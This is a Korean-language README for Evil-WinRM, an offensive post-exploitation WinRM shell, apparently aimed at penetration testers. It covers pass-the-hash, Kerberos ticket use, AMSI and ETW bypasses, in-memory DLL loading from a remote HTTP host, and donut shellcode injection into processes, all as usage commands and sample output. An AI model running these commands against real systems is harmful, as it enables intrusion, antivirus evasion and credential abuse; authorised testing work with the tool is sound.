
해킹/침투 테스트를 위한 최고의 WinRM 셸
# Evil-WinRM [![Version-shield]](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/evil-winrm.rb) [![Ruby2.3-shield]](https://www.ruby-lang.org/en/news/2015/12/25/ruby-2-3-0-released/) [![Gem-Version]](https://rubygems.org/gems/evil-winrm) [![License-shield]](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE) [![Docker-shield]](https://github.com/Hackplayers/evil-winrm/actions/workflows/master.yml)
해킹/펜테스트를 위한 최고의 WinRM 셸

## 설명 및 목적
이 셸은 해킹/펜테스트를 위한 최고의 WinRM 셸입니다.
WinRM(Windows Remote Management)은 WS-Management 프로토콜의 Microsoft 구현입니다. 서로 다른 공급업체의 하드웨어와 운영 체제가 상호 운용될 수 있도록 하는 표준 SOAP 기반 프로토콜입니다. Microsoft는 시스템 관리자의 업무를 더 쉽게 만들기 위해 자사 운영 체제에 이를 포함했습니다.
이 프로그램은 이 기능이 활성화된(일반적으로 포트 5985) 모든 Microsoft Windows Server에서 사용할 수 있으며, 물론 이를 사용할 자격 증명과 권한이 있는 경우에만 가능합니다. 따라서 이는 사후 침투 해킹/펜테스트 단계에서 사용될 수 있다고 말할 수 있습니다. 이 프로그램의 목적은 해킹에 유용하고 사용하기 쉬운 기능을 제공하는 것입니다. 시스템 관리자가 합법적인 목적으로도 사용할 수 있지만, 대부분의 기능은 해킹/펜테스트에 초점을 맞추고 있습니다.
주로 WinRM Ruby 라이브러리를 기반으로 하며, 버전 2.0부터 작동 방식이 변경되었습니다. 이제 WinRM 프로토콜을 사용하는 대신 PSRP(Powershell Remoting Protocol)를 사용하여 런스페이스 풀을 초기화하고 파이프라인을 생성 및 처리합니다.
## 기능
- Linux 및 Windows 클라이언트 시스템과 호환
- 메모리 내 Powershell 스크립트 로드
- 일부 AV를 우회하는 메모리 내 dll 파일 로드
- 일부 AV를 우회하는 메모리 내 C#(C Sharp) 어셈블리 로드
- 멋진 [donut] 기술로 생성된 x64 페이로드 로드
- AV 서명을 피하기 위한 동적 AMSI 우회
- Pass-the-hash 지원
- ccache 및 kirbi 파일을 포함한 Kerberos 인증 지원
- SSL 및 인증서 지원
- 진행률 표시줄과 함께 파일 업로드 및 다운로드
- 권한 없이 원격 머신 서비스 나열
- 명령 기록
- WinRM 명령 완성
- 로컬 파일/디렉터리 완성
- 원격 경로(파일/디렉터리) 완성(선택적으로 비활성화 가능)
- 프롬프트 및 출력 메시지 색상화(선택적으로 비활성화 가능)
- 선택적 로깅 기능
- Docker 지원([Dockerhub]에서 사전 빌드된 이미지 제공)
- Ctrl+C 시 우발적인 셸 종료를 방지하는 트랩 캡처
- 합법적인 Windows 기본값을 사용하는 사용자 지정 user-agent
- ETW(Event Tracing for Windows) 우회
## 도움말```
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l]
-S, --ssl Enable ssl
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
-r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected)
-s, --scripts PS_SCRIPTS_PATH Powershell scripts local path
--spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP)
-e, --executables EXES_PATH C# executables local path
-i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required)
-U, --url URL Remote url endpoint (default /wsman)
-u, --user USER Username (required if not using kerberos)
-p, --password PASS Password
-H, --hash HASH NTHash
-P, --port PORT Remote host port (default 5985)
-a, --user-agent Specify connection user-agent (default Microsoft WinRM Client)
-V, --version Show version
-n, --no-colors Disable colors
-N, --no-rpath-completion Disable remote path completion
-l, --log Log the WinRM session
-h, --help Display this help message
```
## 요구 사항
Ruby 2.3 이상이 필요합니다. 일부 ruby gem도 필요합니다: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
설치 방법(4가지 가능)에 따라 이러한 항목을 수동으로 설치해야 할 수도 있습니다.
Kerberos 인증에만 사용되는 또 다른 중요한 요구 사항은 네트워크 인증에 사용되는 Kerberos 패키지를 설치하는 것입니다.
Debian 기반 Linux(Kali, Parrot 등)의 경우 `krb5-user`라고 합니다. BlackArch의 경우 `krb5`라고 하며, 다른 Linux 배포판에서는 다른 이름으로 불릴 수 있습니다.
원격 경로 자동 완성 기능은 네이티브 `readline-ext` 바인딩이 필요하며, 이는 Evil-WinRM 종속성으로 자동 설치됩니다. 일부 시스템에서는 이를 컴파일하기 위해 추가 개발 패키지가 필요합니다. 자세한 내용은 [아래 섹션](#Remote-path-completion)을 확인하세요.
## 설치 및 빠른 시작 (4가지 방법)
### 방법 1. ruby gem으로 직접 설치 (종속성은 시스템에 자동으로 설치됩니다)
- 1단계. 설치합니다 (종속성이 자동으로 설치됩니다): ```gem install evil-winrm```
- 2단계. 완료입니다. 바로 실행하세요!```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
```
### 방법 2. Git clone 및 시스템에 수동으로 종속성 설치
- 1단계. 종속성을 수동으로 설치: `sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext`
- 2단계. 저장소를 clone: `git clone https://github.com/Hackplayers/evil-winrm.git`
- 3단계. 준비 완료. 바로 실행하세요!```
cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
```
### 방법 3. bundler 사용 (시스템에 의존성을 설치하지 않고 evil-winrm만 사용)
- 1단계. bundler 설치: `gem install bundler`
- 2단계. 저장소 복제: `git clone https://github.com/Hackplayers/evil-winrm.git`
- 3단계. bundler로 의존성 설치: `cd evil-winrm && bundle install --path vendor/bundle`
- 4단계. bundler로 실행:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
```
### 방법 4. Docker 사용하기
- 1단계. 이미 빌드된 이미지를 기반으로 Docker 컨테이너를 실행합니다:```
docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
```
## 문서
### 일반 텍스트 비밀번호
비밀번호를 일반 텍스트로 입력하고 싶지 않다면, 선택적으로 `-p` 인자를 생략할 수 있으며, 그러면 비밀번호가 화면에 표시되지 않도록 프롬프트가 나타납니다.
### IPv6
IPv6을 사용하려면 주소를 /etc/hosts에 추가해야 합니다. `-i` 인자 뒤에 IP 주소 대신 이미 설정된 호스트 이름을 입력하면 됩니다.
### 기본 명령어
- **upload**: 로컬 파일은 탭 키를 사용하여 자동 완성할 수 있습니다.
- 사용법: `upload local_filename` 또는 `upload local_filename destination_filename`
- **download**:
- 사용법: `download remote_filename` 또는 `download remote_filename destination_filename`
__경로에 대한 참고 사항 (upload/download)__:
상대 경로는 download/upload에 사용할 수 없습니다. 현재 디렉터리의 파일 이름이나 절대 경로를 사용하세요.
Docker 환경에서 Evil-WinRM을 사용하는 경우, 모든 로컬 경로는 `/data`에 있어야 하며, 다운로드한 파일에 접근하거나 로컬 호스트 OS에서 파일을 업로드할 수 있도록 해당 경로를 볼륨으로 매핑했는지 확인하세요.
- **services**: 계정에 각 서비스에 대한 권한이 있는지 여부를 표시하며 모든 서비스를 나열합니다. 이 기능을 사용하는 데 관리자 권한은 필요하지 않습니다.
- **menu**: 아래에서 설명할 `Invoke-Binary`, `Dll-Loader` 및 `Donut-Loader` 함수를 로드합니다. ps1이 로드되면 해당 함수가 모두 표시됩니다.
- **clear** 또는 **cls**: 터미널 화면을 지웁니다. 화면을 지우려면 `Ctrl+L` 키보드 단축키를 사용할 수도 있습니다.
- **exit** 또는 **quit**: Evil-WinRM 세션을 종료합니다. `Ctrl+D` 키보드 단축키를 사용할 수도 있습니다.```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
```
### PowerShell 스크립트 로드
- ps1 파일을 로드하려면 파일 이름을 입력하기만 하면 됩니다(Tab 키를 이용한 자동 완성 지원). 스크립트는 `-s` 인자에 설정된 경로에 있어야 합니다. menu를 다시 입력하면 로드된 함수들을 확인할 수 있습니다. 매우 큰 파일은 로드하는 데 오랜 시간이 걸릴 수 있습니다.```
*Evil-WinRM* PS C:\> PowerView.ps1
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity
[+] Add-DomainGroupMember
[+] Add-DomainObjectAcl
[+] Add-RemoteConnection
[+] Add-Win32Type
[+] Convert-ADName
[+] Convert-DNSRecord
[+] ConvertFrom-LDAPLogonHours
[+] ConvertFrom-SID
[+] ConvertFrom-UACValue
[+] Convert-LDAPProperty
[+] Convert-LogonHours
[+] ConvertTo-SID
[+] Dll-Loader
[+] Donut-Loader
[+] Export-PowerViewCSV
[+] field
[+] Find-DomainLocalGroupMember
```
### 고급 명령어
- Invoke-Binary: .Net 어셈블리를 메모리에서 실행할 수 있게 해줍니다. 이름은 탭 키를 사용하여 자동 완성할 수 있습니다. exe 파일에 대한 인자는 쉼표로 구분하여 전달할 수 있습니다. 예: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. 실행 파일은 `-e` 인자에 설정된 경로에 있어야 합니다.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
```
- Dll-Loader: 메모리에서 dll 라이브러리를 로드할 수 있게 해주며, `[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))`와 동일합니다.
dll 파일은 smb, http 또는 로컬에서 호스팅할 수 있습니다. 로드된 후에는 `menu`를 입력하면 모든 함수를 자동 완성할 수 있습니다.```
*Evil-WinRM* PS C:\> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.
.EXAMPLE
Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
Dll-Loader -http -path http://example.com/myDll.dll
Description
-----------
Function that loads an arbitrary dll
*Evil-WinRM* PS C:\> Dll-Loader -http http://10.10.10.10/SharpSploit.dll
[+] Reading dll by HTTP
[+] Loading dll...
*Evil-WinRM* PS C:\Users\test\Documents> menu
[... Snip ...]
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0
Ppid : 0
Name : Idle
Path :
SessionID : 0
Owner :
Architecture : x64
```
- Donut-Loader: 멋진 [donut] 기법으로 생성된 x64 페이로드를 주입할 수 있게 해줍니다. payload.bin을 인코딩할 필요 없이 생성 후 주입만 하면 됩니다!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
```
Windows를 사용하지 않는다면 이 [donut-maker]를 사용하여 payload.bin을 생성할 수 있습니다.
이 스크립트는 Marcello Salvati([byt3bl33d3r])가 작성한 Python 모듈을 사용합니다. pip로 설치할 수 있습니다: `pip3 install donut-shellcode````
python3 donut-maker.py -i Covenant.exe
___ _____
.'/,-Y" "~-.
l.Y ^.
/\ _\_ Donuts!
i ___/" "\
| /" "\ o !
l ] o !__./
\ _ _ \.___./ "~\
X \/ \ ___./
( \ ___. _..--~~" ~`-.
` Z,-- / \
\__. ( / ______)
\ l /-----~~" /
Y \ /
| "x______.^
| \
j Y
[+] Donut generated successfully: payload.bin
```
- Bypass-4MSI: AMSI 보호를 패치합니다.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
```
### Kerberos
- 먼저 DC와 날짜를 동기화해야 합니다: `rdate -n <dc_ip>`
- 티켓을 생성하는 방법은 여러 가지가 있습니다:
* impacket의 [ticketer.py] 사용
* [Rubeus] 또는 [Mimikatz]를 사용하여 kirbi 티켓 획득 (ccache로의 자동 변환 지원)
- 티켓 파일을 추가합니다. 3가지 방법이 있습니다:
`export KRB5CCNAME=/foo/var/ticket.ccache`
`cp ticket.ccache /tmp/krb5cc_0`
`-K` 매개변수 사용: `evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache` 또는 `evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi`
`-K` 사용 시, 도구는 자동으로 다음을 수행합니다:
- 티켓 형식 감지 (ccache 또는 kirbi)
- 필요한 경우 kirbi 티켓을 ccache 형식으로 변환 (ticket_converter.py 또는 impacket-ticketConverter 필요)
- 파일이 존재하고 읽을 수 있는지 검증
- `KRB5CCNAME` 환경 변수 설정
- 더 나은 Kerberos 호환성을 위해 IP 주소를 FQDN으로 변환
- `/etc/krb5.conf`에 realm을 추가합니다 (linux의 경우). 다음 형식을 사용하는 것이 중요합니다: ```
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
```
- Kerberos 티켓은 `klist`로 확인하세요.
- 티켓을 제거하려면 `kdestroy`를 사용하세요.
- Kerberos에 대한 자세한 내용은 이 [치트시트]를 확인하세요.
### 원격 경로 자동 완성
이 기능은 네이티브 `readline-ext` 바인딩이 필요합니다. Evil-WinRM은 이를 의존성으로 선언하므로 RubyGems 또는 Bundler를 사용할 때 자동으로 설치됩니다. 네이티브 확장을 빌드할 수 없으면 이 기능은 작동하지 않습니다(경고가 표시됩니다).
*Ruby 3.3+ 참고:*
`ext/readline`은 Ruby 3.3에서 소스에서 제거되었습니다(Feature #19616). 따라서 아래의 방법 1은 Ruby 3.3 이상에서는 사용할 수 없습니다. Debian 계열 시스템에서는 Evil-WinRM 또는 해당 의존성을 설치하기 전에 필요한 개발 패키지를 설치하세요.```
sudo apt install libreadline-dev
```
`readline-ext` 의존성은 `require 'readline'`이 `reline` 대신 GNU Readline을 로드하도록 만듭니다. `reline`에는 Evil-WinRM이 확인하는 메서드인 `quoting_detection_proc`가 없기 때문입니다. 아래 메서드들은 이전 Ruby 버전을 대상으로 하며 호환성을 위해 유지됩니다.
#### 메서드 1 (필요한 확장 컴파일)
이 메서드를 사용하면 시스템의 기본 Ruby 버전을 변경하지 않고 필요한 readline 기능만 사용하기 위해 Ruby를 컴파일하게 됩니다. 따라서 가장 권장되는 방법입니다.
Debian 기반 시스템에 Ruby 2.7.3이 설치되어 있다고 가정해 보겠습니다:```
# Install needed package
apt install libreadline-dev
# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
# Extract source code
tar -xf ruby-2.7.3.tar.gz
# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make
# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
```
#### 방법 2 (evil-winrm 전용으로만 사용하기 위해 rbenv를 이용해 ruby 설치)
Debian 기반 Linux에서 ruby 2.7.1을 원하고 zsh을 사용한다고 가정해 봅시다. 이 스크립트가 이를 자동화해 줍니다. evil-winrm.rb와 Gemfile이 있는 동일한 디렉터리(예: git clone 후 생성된 evil-winrm 디렉터리)에서 실행해야 합니다:```
#!/usr/bin/env zsh
# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q
# Install rbenv
sudo apt install rbenv
# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc
# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1
# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
# Install local gems
gem install bundler
bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
#!/usr/bin/env sh
"${current_evwr}" "\$@"
EOF"
sudo chmod +x /usr/bin/evil-winrm
```
그러면 새로 설치한 루비를 사용하여 필요한 readline 지원과 함께 어느 위치에서든 안전하게 evil-winrm을 실행할 수 있습니다.
#### 방법 3 (전체 루비 컴파일)
직접 컴파일하려면 다음 단계를 따르면 됩니다. 루비 2.7.3을 원한다고 가정해 보겠습니다:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
```
시스템에 따라 `/opt/rubies/ruby-2.7.3` 또는 `~/.rubies/ruby-2.7.3`에 설치됩니다.
이제 새로 설치된 해당 루비 버전에 대해 evil-winrm의 의존성을 설치하기만 하면 됩니다. 가장 쉬운 방법은 `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm` 명령을 실행하는 것입니다. 사용하는 gem 명령은 새 루비 설치에 속한 것이어야 합니다.
그 후, 새로 설치된 루비를 안전하게 실행하여 evil-winrm에 사용할 수 있습니다: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`
이 새로 설치된 루비는 evil-winrm을 실행하는 데에만 사용하는 것이 좋습니다. 시스템의 기본 루비로 설정하는 경우, 의존성 gem이 설치되어 있지 않다는 점을 명심하세요. Metasploit과 같은 일부 루비 기반 소프트웨어는 의존성 문제로 인해 제대로 시작되지 않을 수 있습니다.
### 로깅
이 기능은 $HOME 디렉터리에 파일을 생성하여 WinRM 세션의 명령과 출력을 저장합니다.
### 명령 기록
Evil-WinRM은 각 호스트와 사용자 조합에 대해 영구적인 명령 기록을 유지합니다. 기록은 `~/.evil-winrm/history/` 디렉터리에 `{host}_{user}.hist` 형식의 파일 이름으로 저장됩니다.
이전에 접근한 적이 있는 시스템에 연결하면 화살표 키(위/아래)를 사용하여 이전 명령을 탐색할 수 있습니다. 기록은 각 명령 실행 후 자동으로 저장되며, 동일한 호스트에 동일한 사용자로 다시 연결할 때 로드됩니다.
### 알려진 문제. OpenSSL 오류
때때로 다음과 같은 오류가 발생할 수 있습니다:```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
```
이 오류는 OpenSSL 3.0 버전이 이 도구를 실행하는 데 필요한 MD4와 같은 일부 레거시 함수를 제거했기 때문에 발생합니다. 이 상황을 해결하기 위한 기존의 다양한 해결 방법이 있습니다:
- 시스템을 최신 버전으로 업데이트하세요. 최신 Ruby 버전에서 더 새로운 OpenSSL 버전을 사용하는 경우 이 문제가 자동으로 해결되었을 가능성이 높습니다.
- OpenSSL 3.0 대신 이전 OpenSSL 1.x를 사용하여 자체 Ruby를 컴파일하거나, 문제가 있는 3.0 버전을 피하기 위해 OpenSSL > 3.0을 사용하여 컴파일하세요.
- 가장 쉬운 방법입니다. `/etc/ssl/openssl.cnf` 구성 파일을 편집하고 구성이 다음과 같은지 확인하세요:```
openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
[provider_sect]
default = default_sect
legacy = legacy_sect
[default_sect]
activate = 1
[legacy_sect]
activate = 1
```
- 마지막 해결 방법의 대안으로, 시스템이 OpenSSL 대신 LibreSSL을 사용하거나 시스템 구성 파일을 수정하고 싶지 않은 경우가 있을 수 있습니다. 위 내용이 포함된 간단한 파일을 생성하세요. 예를 들어 `evil-tls.conf`와 같이 어떤 이름이든 사용할 수 있습니다. 그런 다음 환경 변수를 내보내 시스템이 해당 파일을 사용하도록 강제합니다: `export OPENSSL_CONF="/path/to/evil-tls.conf"`. 그런 다음 도구를 실행하면 오류가 사라집니다.
## 변경 로그:
변경 로그 및 프로젝트 변경 사항은 여기에서 확인할 수 있습니다: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)
## 크레딧:
스태프:
- [Cybervaca], (창립자). Twitter (X): [@CyberVaca_]
- [OscarAkaElvis], Twitter (X): [@OscarAkaElvis]
- [Jarilaos], Twitter (X): [@_Laox]
- [arale61], Twitter (X): [@arale61]
특별 감사:
- 개인적인 지원을 해준 [Vis0r]에게.
- 원본 코드를 작성한 [Alamot]에게.
- 훌륭한 dll 로더를 만든 [3v4Si0N]에게.
- [WinRb] 루비 라이브러리의 모든 기여자에게.
- 훌륭한 donut 도구를 만든 [TheWover]에게.
- donut 페이로드를 생성하는 파이썬 라이브러리를 만든 [byt3bl33d3r]에게.
- 새로운 기능에 대한 영감을 준 [Sh11td0wn]에게.
- 로깅 기능 추가를 도와준 [Borch]에게.
- 여러 Ruby 버전에서 도구를 유지 관리하는 데 도움을 준 [noraj]에게.
- 이 소프트웨어를 자신의 github에 호스팅해 준 [Hackplayers]에게.
## 면책 조항 및 라이선스
이 스크립트는 LGPLv3+로 라이선스가 부여됩니다. 직접 링크: [License](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).
Evil-WinRM은 승인된 침투 테스트 및/또는 비영리 교육 목적으로만 사용해야 합니다.
이 소프트웨어의 오용에 대한 책임은 작성자나 다른 협력자에게 있지 않습니다.
자신의 서버 및/또는 서버 소유자의 허가를 받아 사용하세요.
<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[noraj]: https://github.com/noraj
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/
<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61
<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-4.1-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://github.com/Hackplayers/evil-winrm/actions/workflows/master.yml/badge.svg?branch=master "Docker CI master"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"